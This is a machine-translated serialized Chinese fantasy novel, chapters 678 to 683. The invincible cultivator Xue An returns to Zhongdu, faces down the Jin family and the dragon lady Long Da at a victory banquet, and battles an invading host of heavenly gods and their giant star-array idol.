    "Yes! Once the European Angel of Light is destroyed, there will be basically no too powerful gods and demons in the whole world, and the chaos is considered preliminary." Wang Tao couldn''t help sighing.


    "Come on, let''s toast Mr. One!" Chen Xiuhe was obviously in great interest.

 Chapter 678： One person is about one life, nothing more than that

    In the next few days, the whole world was smashed by the heavy information that followed.


    After the slaughter of the Holy Light Angels in Europe, Xue An led a group of people all the way south, and all the gods and demons were destroyed along the way.


    The third day.


    The major indigenous gods in Africa were wiped out by Xue An with one sword and one man, and Africa was restored.


    The fifth day.


    Australia''s major demon gods have all become the spoils of Fan Mengxue''s dark throne.


    On the eighth day, the American gods and demons were destroyed and returned to human control.


    ����������������.


    Just ten daylight scenes.


    Xue An tried to turn the tide, slaughter countless gods and demons with his own power, and completely calmed the world that had fallen into the abyss.


    This impressive record made Xue An''s reputation so prestigious that no country or individual dared to question him at all.


    The deity of the world, the first person in the world, a **** slayer...


    All kinds of praise like this are all attributed to Xue An.


    Throughout the ages, no one can achieve what Xue An has achieved today.


    Because he is already at the top of the world, no matter who you are, you can only look up.


    And the pattern of the whole world has begun to change dramatically.


    Because of the troubled times of gods and demons, many small countries were destroyed, and even the countries that survived suffered heavy losses.


    Under this situation, Xue An''s existence like a human-shaped nuclear bomb completely shattered the already precarious old pattern.


    Countless people understand.


    With Xue An suppressing the world, the rise of China has become unstoppable.


    In addition to surrendering and using nuclear weapons, the former overlord M has no third way to choose.


    And many interested people speculate that even if nuclear weapons are used, Xue An may not be defeated.


    And once it fails, what the person who does it will be greeted by Xue An''s wrath.


    This consequence is something that no one or country can afford.


    It is for these reasons that country M has not dared to make the slightest move, and even showed a great degree of tolerance and compromise later, even to the point of surrender.


    Therefore, some people lamented that Xue An will be the first in history to fight against the country on his own, and make the superpower helpless and even surrender.


    The so-called one-person-right-one-life situation is nothing more than that.


    In China, Xue An��s importance has risen to unprecedented heights.


    Even for this purpose, a department was established specifically to deal with Xue An.


    But because he was worried that Xue An might be disgusted with this, Hua Guo has never taken the initiative to send people to contact Xue An in the past.


    The general of the town country said clearly.


    Xue An has shown great kindness to China from beginning to end, so he must not be annoyed by his eagerness for quick success or other reasons.


    As long as the fact that he is a Chinese does not change, then China will have a natural advantage, so there is no need to rush.


    at last.


    Three days after the world��s gods and demons were put down.


    Chen Xiuhe and everyone from Tianyuan Company received the news from Xue An.


    Return home soon.


    These four words were immediately fed back to the upper echelons of China.


    Then the news spread like a hurricane throughout China and even the entire country.


    Now Xue An has become an absolute idol in the hearts of Chinese people.


    In particular, his pictures of swordsman slashing giant whales and sea gods on live TV have become classics.


    There are countless versions circulating on the Internet, and many people add various background music to edit.


    But no matter how you edit, there is only one central point of these videos.


    That is the word invincible.


    So when it was learned that Xue An was about to return to the capital, China was boiling up and down.


    Other countries have also sent congratulatory messages. Even Country M can''t help but pinch his nose and send a congratulatory message full of envy and jealousy.


    And just when there was a lot of trouble outside.


    At the moment, the Jin family was deserted like an ice cellar.


    Jin Zhong walked into the room feebly and whispered a few words to his father Jin Hao.


    Jin Hao''s expression changed, and after a meeting he nodded solemnly, and then walked into the back room.


    Miss Long was leaning on the sofa at the moment, and there was a sweet aroma in the air, which made people feel a little fascinated by the smell.


    Jin Hao didn''t dare to breathe anymore, he was poisoned after smelling such a gas.


    That is, Long Da, a talented dragon clan, can resist it.


    But even so, Long Da at this time already had a wandering expression.


    She opened her eyes suddenly when she heard the sound of footsteps.


    As if a cold light flashed across the room, Jin Hao trembled all over, and hurriedly lowered his head and said, "Master."


    "what''s up?"


    Jin Hao swallowed hard, "The news just came that Xue An is about to return to Zhongdu."


    "Oh? Are you finally willing to come back?" Long Da''s eyes lit up slightly and said lightly.


    Jin Hao went on to say: "But because his momentum during this period of time has been too amazing, all the families we had contacted before have retreated at this moment, and no one wants to join us to deal with Xue An."


    Hearing this, Long Da raised a cold smile at the corner of his mouth, "This is not surprising. I didn''t expect you to find any good stuff to deal with this Xue An."


    "Then master..."


    Long Da leaned on the sofa and said in a leisurely manner: "Don''t worry, let him run wild for a few more days. When he enters the Central Capital, the heavenly gods and demons I have invited should also come to the world. By then, this Zhongdu is his burial place!"


    "Understand!" Jin Hao couldn''t help but said, his worries were wiped out.


    The second day.


    Zhongdu Airport.


    Today it was refurbished, and many people came to wait early.


    By noon, the outside of the airport was already crowded with people who came to meet them.


    The crowd was all looking forward to seeing the legendary Xue An.


    Finally, a large passenger plane appeared in the sky, and there were several fighter escorts nearby.


    Since then, the cheers of the crowd have not stopped.


    Until the passenger plane slowly stopped on the runway, when Xue An led An Yan and his two daughters on the gangway, the cheers reached their highest point.


    An Yan looked a little nervous with so many people''s eyes.


    Xue An was aware of this, and couldn''t help holding her hand gently, and then smiled at her dozingly.


    "take it easy!"


    An Yan felt that Xue An''s hands were so warm, and the warm whole person gradually calmed down, she couldn''t help but nod lightly, and gave a mumble full of happiness.


    When Xue An returned this time, he didn''t intend to make such a big show.


    It''s not over if you fly directly across the void and fly back.


    But later Chen Xiuhe also persuaded, because the people''s minds are still very flustered as it is today, it is good to let people vent their emotions through the opportunity of your return so Xue An returned by plane. Zhongdu.


    At this time, Chen Xiuhe and others who were in charge of the reception all stepped forward.


    "Mr!"


    "Mr. Xue!"


    Everyone gave salutes.


    Xue An nodded in greeting.


    And here, the town general also strode forward and said respectfully: "Welcome Mr. Xue back!"


    Xue An looked at the town general and smiled, "This is originally my country. Is it weird for me to come back?"


    As soon as this sentence came out, the town general and the people behind them all showed joy.


    "Mr. Xue, please, a grand dinner will be held tonight, and you and your family are welcome to return in triumph!" General Zhen Guo said with a smile.

 Chapter 679： Grand dinner

    When Xue An came to the banquet hotel surrounded by a grand motorcade, the place had already been refreshed.


    When Xue An got out of the car.


    Seeing two sturdy troops stepping forward.


    When the unit that was walking in front came to Xue An, it stood still with a snap, and then shouted in unison: "I have seen the instructor!"


    It is a member of the Fire Phoenix Special Forces.


    And followed by another army that is somewhat inferior but also very brave.


    "I have seen Mr. Xue!" the people of this unit shouted in unison.


    It was the blood unicorn special force under Commander Hu, and the leader was Zhang Chu, the descendant of the Tianshi Mansion.


    Upon seeing this, Xue An smiled and nodded.


    At this time, in a car behind, Zhou Daniu opened the door and rushed over.


    After he was resurrected by Xue An, he was kept in Xiangjiang and guarded him. This time he returned to Zhongdu, and he came with him.


    Although they all knew that Zhou Daniu was resurrected by the instructor, when they saw the real person, everyone in the Phoenix was still moved.


    Especially Zou Yi, almost jumped and ran over, and then forgot to ride on Zhou Daniu''s back, his eyes flushed and said.


    "Damn, how many tears have you shed for our big guy who caused the bully, you must be a good treat when you come back this time!"


    "Yes! A treat!"


    "Yes, and it has to be the one to drink to death!"


    These voices came and went one after another. Zhou Daniu grabbed his scalp and smiled slyly, "Okay! I will definitely ask the big guy to have a good meal!"


    Hearing these words, these Fire Phoenix players burst into laughter and rushed forward to hug Zhou Daniu.


    Such a strong comradeship also moved many onlookers.


    And Zhang Chu also stepped forward at this time and said respectfully: "Sir!"


    Xue An nodded, then glanced at the blood unicorn members behind him, and his eyes also lit up.


    "I taught your Daofu Real Weapon Art, how can you master it in such a short time?"


    Zhang Chu scratched his scalp, and said with some embarrassment: "Since the chaos of the world, I have brought my troops to fight everywhere, so I have made progress faster."


    Xue An patted him on the shoulder appreciatively, "It''s not all for that reason, you are also a good captain."


    After listening, Zhang Chu gradually showed brilliance, and nodded vigorously: "Thank you, Mr., all of this is given by Mr. Zhang Chuding dare not forget."


    Xue An smiled and was about to speak.


    There were many familiar faces approaching.


    Griffin, the ghoul in Sin City, performed the most exaggeration. He knelt to the ground before he came close, and then prostrated and kissed Xue An''s toes.


    "My beloved lord, your power has spread throughout the world. As your servant, I am deeply honored."


    Xue An kicked Griffin to the ground, then smiled and cursed: "Don''t come to this set with me, get out and talk!"


    Griffin grinned, patted his **** and stood up.


    "Oh~ my dear lord, what I just said is from my own heart!"


    Griffin''s exaggerated tone drew a burst of laughter from the people around him.


    Xue An shook his head helplessly, just about to say something.


    Xiao Sha didn''t know when he had squeezed to the front, and smiled at Griffin.


    "Griffin, long time no see!"


    Griffin didn''t even recognize Xiao Sha at first, and after a moment of close scrutiny, his whole body trembled, "Little...sir Xiao Sha?"


    Octopus winked behind Xiao Sha, and Octopus came forward very dogmatically and grabbed Griffin''s tie.


    "Go, let''s go to the side to relive the past!"


    After speaking, he dragged Griffin away.


    After a while, Griffin''s exaggerated scream came.


    This once vicious guy is now more and more in a funny direction.


    And behind Griffin were the people in the provincial capital and Beijiang.


    Then Xue An''s gaze stopped on a person, and then said with some surprise.


    "Jingjing? When did you come? Where are Uncle Xie and Aunt Fatty?"


    It was Xie Jingjing who was hiding behind the crowd.


    When she heard Xue An''s words, her whole body shook slightly, and then slowly walked over, somewhat cautiously lowering her head to play with the corners of her clothes.


    "Sir, my dad and my mother can''t be free, they are helping out in the back kitchen..."


    Without finishing the rest, Xue An already rubbed her head and said with a smile: "Okay, are you still so polite with you, Xiao An?"


    Xie Jingjing became stiff, and then a smile of relief gradually appeared on her face.


    "Well, Brother Xiao An!"


    The girl''s heart was originally extremely contradictory.


    Since the chaos of the world, Lao Xie''s restaurant naturally can''t go on, but because Qin Yu knows that Lao Xie''s family is very close to Xue An, he has been looking for someone to look after him, so Lao Xie''s family has not been affected.


    But those days were extremely desperate, because people couldn''t see any hope, and all they could do every day was to survive under the **** of gods and demons.


    Until Xue An returned and began to slaughter the gods and demons, everyone saw hope.


    Lao Xie''s family is no exception. Whenever there is news that Xue An slaughtered the gods and demons, Lao Xie would drink two glasses of excitement.


    It is only at this time that the fat aunt will not reprimand Lao Xie, and will deliberately fry two more dishes to accompany Lao Xie to drink.


    The news that Xue An would return to Zhongdu later spread like wildfire, and Lao Xie''s family was also listed as an invitation, and they were invited to Zhongdu together.


    But before meeting Xue An, Xie Jingjing''s mood was very complicated.


    Of course she wanted to see Brother Xiao An, but she was afraid to see it.


    Because this girl is now very clear that Xiao An, who is the first person in the world, is simply beyond her reach.


    It wasn''t until Xue An was so natural and intimate that Xie Jingjing''s heart suddenly calmed down.


    What do you think so much? At least, he is still my little Ange!


    With this thought in mind, Xie Jingjing naturally followed Xue An, and walked into the banquet hall with Tang Xuan''er and others talking and laughing.


    The banquet hall was already full of crowds of onlookers. When Xue An came in, the crowd burst into applause.


    Xue An nodded and smiled, and then was allowed to the middle position.


    Until he sat down, other people took their seats, and then the banquet officially began.


    Because of the fear and fear for such a long time, many people''s nerves have been strained. This time, when they suddenly relaxed, the atmosphere quickly became unprecedentedly warm.


    At this moment, the town general stood up, raised the wine glass in his hand, and coughed slightly.


    "Everyone be quiet!"


    The huge banquet hall soon quieted down.


    Then the general of the town and country continued: "Everyone, before this, we shouldn''t have thought that one day we can drink together in a bar so quietly!"


    Hearing this sentence, many people were silent.


    Yes At that time, the world was occupied by gods and demons. Who is still in the mood to drink?


    "To be honest, I was also desperate at the time, because these gods and demons are too powerful! We humans are not rivals at all!"


    "But we Chinese did not give in, because we know that there is nothing to talk about with these gods and demons. There is only one word, and that is to fight! If you have fought, you must fight, but if you fail, you must fight! This is the nature of the Chinese. ."


    "But also because of this, we have killed many, many people. There is no way, we have to die in war! But fortunately, we finally won because of the help of Mr. Xue!"


    "Therefore, I propose that we have to offer this cup to Mr. Xue!"


    The entire banquet hall was promised.


    Everyone toasted together, preparing to respect Xue An''s glass of wine.


    But at this moment, an untimely cold female voice came in from outside.


    "It''s really lively! Sure enough, the ants are the ants. I don''t know when I die!"

 Chapter 680： Unscrupulous

    Following the voice, a group of people broke in directly.


    Seeing this pedestrian, there was first silence in the banquet hall and then an uproar.


    "It''s the Jin family!"


    "The Jin family dare to show up?"


    "What do they want?"


    In these discussions, General Zhen Guo glanced at General Wang Tao, Wang Tao stood up with a sinking face and was about to speak.


    I saw these Jin family children headed by Jin Hao standing on both sides with their hands hanging apart, and then accompanied by a crisp sound of footsteps, that Miss Long walked in.


    "Who are you? Why did you break into this banquet hall?" Wang Tao asked in a deep voice.


    This Miss Long did not pay attention to Wang Tao''s words, but skillfully took out a slender cigarette, took a deep breath after lighting it, and then slowly exhaled it.


    Wang Tao frowned, turned his head and said coldly at Jin Hao: "Patriarch Jin, you trespass here without an invitation, don''t you think about the consequences?"


    Jin Hao smiled upon hearing this, "General Wang, wherever my master is, we will follow. Is there any doubt about this?"


    the host?


    This title caused a stir in the crowd.


    "This Jinhao is already eighty years old, so he recognizes such a young woman as his master? What a shame!"


    "Tsk tusk, this Jin family used to relied on its power to show off its power, and now Mr. Xue hasn''t found him to settle accounts after returning, he actually jumped out first!"


    Wang Tao frowned and winked at several guards.


    As soon as these guards rushed forward, they were ready to blast out the Jin Family who had broken in.


    At this moment, I saw Miss Long raised her head and scanned the audience coldly.


    As far as they could see, everyone was shocked, and they involuntarily froze in place.


    In an instant, the banquet hall became quiet.


    Then Hou Longda''s gaze was directed at Xue An, who was sitting on the main seat. After staring for a while, the corners of her mouth gradually rose, revealing a ridiculous smile.


    "You... are Xue An?"


    Xue An never looked at these people straight from the beginning to the end, but kept lowering his head and drinking slowly.


    Hearing these words, Xue An did not look up, but said lightly: "I was aware of the existence of gods and demons in Zhongdu before, but because there are no times, I don''t bother to look for them."


    As he said, Xue An put down his wine glass, raised his eyes and glanced at Long Da, "I didn''t expect it to be your Tianlong clan again."


    Long Da smiled proudly, "Yes, I am the eldest lady of the Tianlong clan..."


    Xue An waved his hand, "Long Da, right! Your sister Long Er once said! By the way, you seem to have a younger brother named Long San!"


    Long Da''s expression was getting colder, and he said coldly: "You really are the one who killed them!"


    Xue An was uncomfortable, but turned his head to look at Jin Hao, and then said lightly: "I heard that your Jin family is very interested in my Tianyuan company?"


    Just such a plain question made Jin Hao tremble all over, and a cold sweat appeared on his forehead.


    After all, Xue An is now known as the first person in the world.


    But when I thought of Miss Long standing behind him, Jin Hao couldn��t help but straighten up again, and then grinned and said, ��Xue An, you killed my daughter Xiurong for no reason. I haven��t asked you to settle the account. How dare you? Come to question me?"


    This sentence caused an uproar.


    An Yan, who was sitting next to Xue An, paled with anger, and was about to get up and argue with this reckless guy.


    Xue An patted her hand lightly, "Don''t be excited, I have everything!"


    After that, Xue An smiled at Jin Hao, and then reached out his hand to Long Da, "This woman is what you rely on, right?"


    Jin Hao was slightly startled, just waiting to speak.


    Xue An''s figure had already appeared beside Long Da, and his hand was a slap in the face.


    Snapped!


    After a crisp sound, Long Da was directly fanned out, smashing several tables.


    This slap seemed like a shock.


    Many people just felt that there was a flower in front of them, and then the Miss Long who had just been flaunting her might had been fanned out.


    Jin Hao and everyone in the Jin family began to tremble slightly.


    They didn''t expect that Miss Long, who was originally arrogant, could not even hold Xue An''s palm.


    At this moment, I saw Long Da slowly stand up from among the messy cups, plates, tables and chairs, wipe a trace of blood from the corner of his mouth, stare at Xue An, and smile sadly.


    "No wonder you dare to slaughter the gods and exterminate demons with your own power. The strength is really good, but do you think... this is enough?"


    As he said, Long Da Yangtian let out a dragon chant.


    boom.


    All the cups and plates in the entire banquet hall were instantly shattered.


    The people who were close to him covered their ears in pain and fell to the ground, and the tall roof collapsed under the sound of the dragon.


    The night sky where the stars and moon were twinkling suddenly began to darken.


    All the people in Zhongdu felt the strangeness and walked out of the room to look up.


    Originally, this banquet attracted media from all over the world. At this moment, these reporters all aimed their cameras at the sky of sudden vision.


    "Look, then... what is that?" someone tremblingly shouted.


    really.


    Seeing from the distant sky, the golden light resembled the tide, surging in the blink of an eye.


    And standing on top of the golden light, there are very tall golden armored gods.


    These golden armored gods are full of golden light, and their faces are majestic, making people afraid to look directly.


    And this is just the beginning.


    Just above the dome, huge golden boats slowly appeared.


    These golden boats are huge, each of them must be a hundred miles in size, and the formation of the square matrix even completely envelopes the whole.


    In the end, the entire sky was obscured by golden light, and there were frequent visions between heaven and earth, with goddesses scattered flowers and ancient gods slaughtered.


    This scene stunned everyone.


    Including those who are watching all this on TV, they are all dumbfounded at the moment.


    The whole world held its breath at this moment and Long Da has now transformed into a dragon, soaring upwards, entrenched his body in the sky, and then said with a grinning dragon sound.


    "Xue An, I didn''t expect it! I had contacted the gods of the heavens before you returned, in order to punish you who dare to slaughter the gods and demons!"


    Following her voice, the golden boats trembled, and then an ancient **** appeared on it.


    "Jiejie, Long Da, the little girl''s intelligence is indeed correct, this is really where the place of origin is!"


    "I can smell the smell of luck that permeates this place, hehe, if you take this place as your own, my giant spirit **** clan will skyrocket."


    These ancient gods unscrupulously discussed the distribution of benefits, without the slightest scruples.


    And under this powerful pressure, everyone''s expressions are extremely solemn.


    At this time, a **** with blue face and fangs stuck out his head and grinned and said: "Little girl of the Tianlong tribe, which one is Xue An you said?"

 Chapter 681： Heavenly Shinjin

    At this moment, everyone''s hearts are tight.


    Because the power of these gods is too powerful, so powerful that so many cultivators present feel desperate.


    Even though Mr. Xue is already the world''s venerable, facing so many powerful gods, can he... still win as always?


    Many people thought in their hearts and couldn''t help but look at Xue An who was standing in the distance.


    now.


    Xue An stood with his hands in his hands and looked up at the gods all over the sky, his expression indifferent, without the slightest sorrow, joy and fear.


    At the same time, Fan Mengxue walked behind Xue An with a sinking face and stood silently.


    She moved like a horn.


    Fire Phoenix Team, Blood Kylin Team, Yujia in Lingnan, Sin City, Dark Council, Night Elf, Beijiang, Provincial City, Zhongdu...


    All the human experts walked behind Xue An silently and stood there quietly.


    This silent tacit understanding and support moved many viewers in front of the screen.


    This scene also stunned the many gods in the air.


    The giant spirit **** king snorted coldly, and an overwhelming might hit everyone.


    Wherever he went, Xingyue was eclipsed.


    Many onlookers only felt that their chests became stuffy, and they couldn''t help but back away in amazement.


    Just relying on this supernatural power, it is enough to make countless strong human races invincible.


    But when this powerful force rushed to Xue An near.


    Xue An opened his mouth slightly and gave a soft drink.


    "roll"


    This soft drink is not loud, but it is like nine days of thunder, and it is directly crushed.


    puff!


    This power disappeared.


    These gods were shocked by this order.


    At this time, Miss Long said in a loud voice: "Sir Shenwang, although this person is a secular cultivator, he is extremely strange in his cultivation. It should not be underestimated and needs to deal with it with all his strength."


    "Jie Jie, it''s nothing more than a stronger golden fairy! I am waiting to level this world today and seize the luck here!" The giant spirit **** Wang said with a grin, and his figure began to skyrocket.


    Originally he was as high as a hundred meters high, but after this soaring, he became full of ten thousand meters, like a giant standing on top of the earth, overlooking Xue An below, and said nonchalantly.


    "Jinxian, your strength is already qualified to be our courtier, if you surrender now, you can spare you not to die!"


    The sound of the gods vibrates everywhere, and even most of China can hear it.


    Faced with such a scene, countless people looked pale, and there was an infinite sense of despair in their hearts.


    But at this moment, I only heard Xue An say calmly: "Drive the star boat across the void, you gods, it is really hard for you to come to this world!"


    "Jiejie, you actually know that Xingzhou doesn''t look like a cultivator trapped in this poor country, but the gods are gods, and you mortals can''t defeat them at all!"


    The giant spirit **** Wang said with a grin, then raised his foot and stepped on the ground.


    "Answer me now, surrender or not, or you will trample on you as sludge!"


    Although the feet have not yet arrived, the strong pressure has already shattered the buildings within ten miles, and the ground has begun to tremble, seeming to sink at any time.


    Countless viewers who were watching the live broadcast held their breath, and some of the courageous had closed their eyes and dared not look again.


    Facing such a strong kick, Xue An still stood proudly, his clothes roaring in the wind, but a cold smile appeared at the corner of his mouth.


    "Such a big athlete''s foot, I can only say, your feet... it''s time to wash!"


    When these words were spoken, all the people who were originally dignified and worried were stunned.


    Xiaosha standing at the back couldn''t help but thumbs up, "See you, this is my boss, and I still have the mood to complain at this time!"


    Although the Giant Spirit God King didn''t know what athlete''s foot meant, he could guess that it was definitely not a good thing, and he couldn''t help but become angry.


    "This is your own death!"


    After all, the Giant Spirit King stomped heavily.


    boom!


    The ground within a radius of ten miles collapsed, and a huge footprint appeared.


    Everyone screamed out loud.


    Fan Mengxue and the others snorted coldly, and they were about to rush forward. Xue An waved his hand to signal them not to act rashly.


    Then smiled at An Yan on the side, "My wife, next...see how I slaughter the gods!"


    After all, Xue An rose to the sky.


    Countless people looked up and saw Xue An turned into a black streamer and flew straight to the sky.


    His figure is simply out of proportion to the giant spirit **** king, not even as big as a finger of the giant spirit **** king.


    Therefore, such a scene is full of a sense of decisive beauty, which makes many people feel a little excited when watching it.


    Chen Xiaoyi, who was on the helicopter behind him, shouted, "Is it recorded?"


    Several photojournalists died, "Get closer and record it!"


    But Chen Xiaoyi clenched his fists, staring at the front, holding the same thought in his heart as countless people.


    Mr. Xue, you must win!


    At this time, Xue An had rushed to the front of the Giant Spirit King.


    The giant spirit **** king grinned, "A mere mortal, do you dare to offend me and wait for the mighty power? Give me death!"


    With that, he raised his huge palm and patted it.


    Xue An floated in front of the giant spirit **** king, but looked at the heavenly spirit behind him, and a cold smile appeared at the corner of his mouth.


    "Don''t worry, it will be your turn soon!"


    Seeing his smile, the nearest Long Da was shocked, and seemed to feel a great danger.


    But immediately, she shook her head mockingly, thinking that she was just thinking about it.


    With so many true gods from the heavens, even if Xue An is a true immortal, he will have to fall today.


    at the same time.


    The palm of the giant spirit **** king has been shot across the sky.


    But Xue An did not dodge, but suddenly raised his eyes, with a bright light in his eyes, coldly shouted: "Look at me with a punch...destroy! Heaven! Earth!"


    After all, raise his fist and blast out.


    boom.


    After a loud bang, a shock wave visible to the naked eye spread out from mid-air, dispersing the clouds all over the sky.


    Countless people looked up.


    I saw Xue standing there quietly, with his fist resting on the extremely huge hand.


    Click.


    There was a crisp sound, and then countless cracks appeared on the hand of the Giant Spirit God King, and they spread up and expanded rapidly.


    The Giant Spirit God King could no longer maintain his composure, and exclaimed, "What kind of ghost fist is this?"


    With that, he cut off this arm directly.


    The giant hand fell and turned into powder in midair.


    Seeing this scene, everyone was startled first, and then they couldn''t help cheering.


    "Mr. Xue is mighty!"


    "Mr. Xue will win!"


    "Human race will win!"


    These shouts came and went one after another. U U Reading


    The giant spirit **** king looked extremely ugly. He was a true **** who had lived for tens of thousands of years, but he was interrupted by a mortal cultivator today. This shame made him roar.


    "Go to death for me!"


    With that, a giant hammer suddenly appeared in the hand of the Giant Spirit God King, and then it crashed down.


    The sound of the hammer shook the world.


    Countless people were frightened by this momentum and looked painful.


    An Yan, Fan Mengxue and others exclaimed: "Be careful!"


    But at this moment, Xue An stretched out his hand and said lightly: "Come on!"

 Chapter 682： Zhou Tianhuanyu Star Array

    Following Xue An''s order, countless sword lights appeared in the void, and then crazily poured into Xue An''s hands, and quickly condensed and grew.


    In the blink of an eye, these sword lights condensed into a long sword that is more than lihu long.


    But at this moment, the giant hammer of the giant spirit **** king suddenly accelerated, and in an instant it came to Xue An''s head, and it was about to fall down.


    Xue An flipped his wrist, pointed his sword at the sky, and then crashed down.


    This is an indescribable sword light.


    It is as if there is a waterfall of swords descending from nine heavens, coming from the heavens and the Jedi.


    puff.


    The sword light came out through the body and flew obliquely to the back. After cutting down a few hapless golden armor gods, it flew to the distant sky and disappeared.


    boom.


    The sledgehammer was broken into powder.


    And the figure of this giant spirit **** king also froze, with a look of horror and disbelief on his face.


    Then he heard a loud crackling noise, his huge body slowly separated from the middle, and then crashed down.


    One sword!


    This giant spirit **** king was cut in half and fell on the spot!


    Seeing this scene, no matter it was present or in front of the screen, everyone cheered for it.


    On the contrary, it was the suspicion of this sky full of gods.


    "How... how is it possible? The Giant Spirit God King can be regarded as a powerful **** in the heavens, but was cut down by this guy with one sword?" Long Da said blankly, unable to believe his eyes.


    And those gods are also discussing at this moment.


    "This swordsmanship should not be underestimated!"


    "The giant spirit king is too careless!"


    In the midst of these discussions, Xue An raised his eyes, looked at the sky full of gods, and smiled sorrowfully.


    "Now, it''s your turn!"


    After all, Xue An rushed forward.


    "Arrogant!"


    "Dare to challenge me to wait for the true **** and kill him!"


    These gods were all angered by Xue An''s arrogance, and the gods appeared one after another, and they brazenly shot.


    Rumbling.


    The sky seemed to have bursts of thunder.


    People can''t see exactly how to fight, they can only see a stream of light crisscrossing and invincible above the sky.


    Click.


    Three more true gods were cut down by Xue An.


    As for those golden armored gods, there are countless casualties.


    "Masters step back!" Long Da shouted at this time.


    These gods all stepped back a few miles upon hearing this.


    Looking at these real gods of the heavens who came with a violent aura, they all became embarrassed at this moment.


    Sword wounds appeared on many people.


    These true gods got together, looking solemnly at Xue An on the opposite side.


    So a scene of wonder appeared in the sky.


    Countless golden gods gathered together and occupied half of the sky.


    Xue An is alone here, but with a mighty sword aura, occupying the sky on the other side, without losing the wind.


    At this moment, Xue An raised his foot and took a step.


    boom!


    These true gods are like birds of fright. Seeing Xue An stepping forward, they hurried back several hundred meters.


    But he didn''t think that Xue An had no impact at all. Instead, he stood still, raised his finger to the opposite side, and said lightly: "With this ability, I want to occupy this place?"


    These gods all had serious faces, but no one dared to speak.


    Such a scene made everyone on the ground look fascinated.


    Taking a step to scare away the gods, what a peerless style this must be.


    The complexions of these gods became extremely ugly at the moment.


    They thought that coming here would be an easy and pleasant trip, but they didn''t expect to meet Xue An''s such a powerful killer.


    Long Da said in a solemn voice at this time: "My lords, this son is very powerful. If we continue to fight like this, our casualties will only get worse!"


    "That''s what you mean..."


    Long Da solemnly said: "Everyone has paid a great price for coming here, and there is no turning back at this moment, so I think..."


    "Only end up!"


    Hearing Long Da''s words, these gods looked at each other, and their eyes were a little hesitant.


    But after another thought, what Long Da said was not unreasonable.


    In order to be able to seize the luck of this world, these gods led their subordinates to cross the void, which was a lot of trouble.


    If they were repelled by a mortal cultivator, even if they returned to the heavens, their strength would be greatly damaged, and there would be no future.


    Thinking of this, these gods nodded slightly to each other, then turned into countless streams of light and returned to their boats.


    "Want to run?" Xue An said lightly, just waiting for the sword.


    These boats suddenly began to spin and move wildly, and golden beams connected to each other.


    In a blink of an eye, a starry sky array was placed on the sky.


    When the formation is formed.


    The sky and the earth are moving, the stars and the moon are reclusive.


    Then a huge idol slowly emerged.


    The figure of this statue was so huge that it even exceeded the containment range of the sky, and half of its body came into outer space.


    Those golden armored gods turned into countless golden armors, covering this idol.


    Long Da occupies the chest of the **** statue and laughed triumphantly: "Xue An, you are indeed amazing, but in front of the starry sky this week, you still have to die!"


    Seeing such a powerful idol appear.


    The hearts of the people around the world are strained.


    At this time, people on half of the earth don''t have to watch it on TV anymore, as long as they stand outside the house, they can see this upright idol.


    The more so, the more people can realize the huge and powerful image of this god.


    The expressions of everyone at the scene changed wildly.


    "Husband!" An Yan was pale and whispered softly.


    All the shots and sights focused on Xue An who was in the air.


    There was a solemn look on his face at the moment.


    But he slowly raised the sword, and then pointed at the opponent.


    "kill!"


    With this soft drink, Xue An suddenly turned into an extremely bright streamer, attacking the idol.


    The whole world held their breath at this moment.


    boom!


    The invincible Jian Guang finally met his opponent at this moment, Jian Guang couldn''t cut into this **** statue at all.


    But at this moment, this idol slowly raised his hand and took it with the momentum of Mount Tai''s pressing on top.


    puff.


    The palm of this giant hand suddenly blasted a hole Xue An flew out from it, and then appeared in the distance.


    Countless people were relieved to see him appear.


    But then, seeing a drop of blood slowly dripping from Xue An''s eyebrows, his expression became dimmed.


    Mr. Xue...injured?


    Countless people looked at them dumbfounded, and their hearts gradually sank.


    Mr. Xue, who had never been injured, was also injured at this moment.


    Then who else can beat this idol?


    At this moment, I heard Long laughed wildly: "Xue An, how does it feel to be injured? Tell you, this is just the beginning, go to hell!"


    With that said, the idol took another shot, and it rushed towards Xue An extremely fast.


    But Xue An, as if not aware of anything, lowered his head and stood quietly.

 Chapter 683： 4 Fang Yundong

    "Don''t!" An Yan exclaimed, and was about to fly into the air.


    Someone pressed her on her shoulder, "You hurry and leave with the miss of He Xuan''er!"


    An Yan was stunned and saw that Fan Mengxue had turned into a black light and shot straight into the sky.


    Before people arrived, the vines formed by the power of darkness rushed over the sky.


    boom.


    These black vines entangled on the palm of the **** statue, and then began to block its fall.


    Bang bang bang.


    There was a series of crisp noises, this is the huge force of these black vines that cannot withstand the palm of the hand, and they are constantly breaking.


    Fan Mengxue''s face gradually paled.


    But even so, Fan Mengxue still did not flinch, and every time one broke, he would quickly add two.


    The fall of the palm of his hand began to gradually slow down, but Fan Mengxue had obviously reached the limit, and his whole body was trembling violently because of the overdraft of the power of darkness.


    At this moment, dozens of black bone dragons suddenly appeared, and then stubbornly withstood the downward movement of the palm.


    Fan Mengxue felt her shoulders loose and turned to look.


    Karthus stood on the side with bleak eyes, and when he saw Fan Mengxue look over, he couldn''t help but smile, "I can''t let you stand alone."


    As soon as the voice fell, those bone dragons wailed and they were twisted into pieces by the huge force.


    Karthus snorted and almost fell.


    But at this moment, on the ground, and even in all directions, countless streamers were flying in.


    Zhou Daniu took the lead, the first one rushed under the palm of his hand, and then he pushed up with both hands, his figure began to soar.


    "If you want to kill the instructor, then step over my corpse first! Ah ah ah ah!"


    Zhou Daniu roared, his eyes became blood red.


    The whereabouts of the palm was resisted by Zhou Daniu for a lifetime.


    But under this tremendous force, Zhou Daniu''s muscles began to disintegrate due to excessive force.


    At the same time, everyone else arrived.


    Xiaosha showed his true shape, and then used his head to withstand the palm of his hand.


    Griffin simply threw himself on this palm, trying to gnaw off a few pieces of meat.


    But obviously, his teeth couldn''t shake this palm at all.


    As for other people, such as those from the Yu Family in Lingnan or the Fire Phoenix and Blood Kirin Special Forces, all attacked this idol.


    At this time, Zhang Xiaoyu tried to drag Xue An away from the place.


    But no matter how she tried, she couldn''t move Xue An a minute.


    "My lord, you wake up soon! My lord!" Zhang Xiaoyu cried anxiously.


    But Xue An still did not respond.


    In a hurry, Zhang Xiaoyu simply showed his figure, and firmly bound Xue An with his tentacles.


    Zhang Xiaoyu thought in his heart that if the palm of his hand was taken, he could give an adult a buffer.


    Seeing such a scene, everyone, including the audience watching the live broadcast, was silent.


    Human race may have various shortcomings, but at the most critical moment, it has shown amazing cohesion.


    This is enough to move anyone.


    And not only the people on the scene rushed to help, but the strong human races came from all directions.


    Their only goal is to deal with this evil **** and save Mr. Xue!


    An Yan stared at this scene blankly, and burst into tears before she knew it.


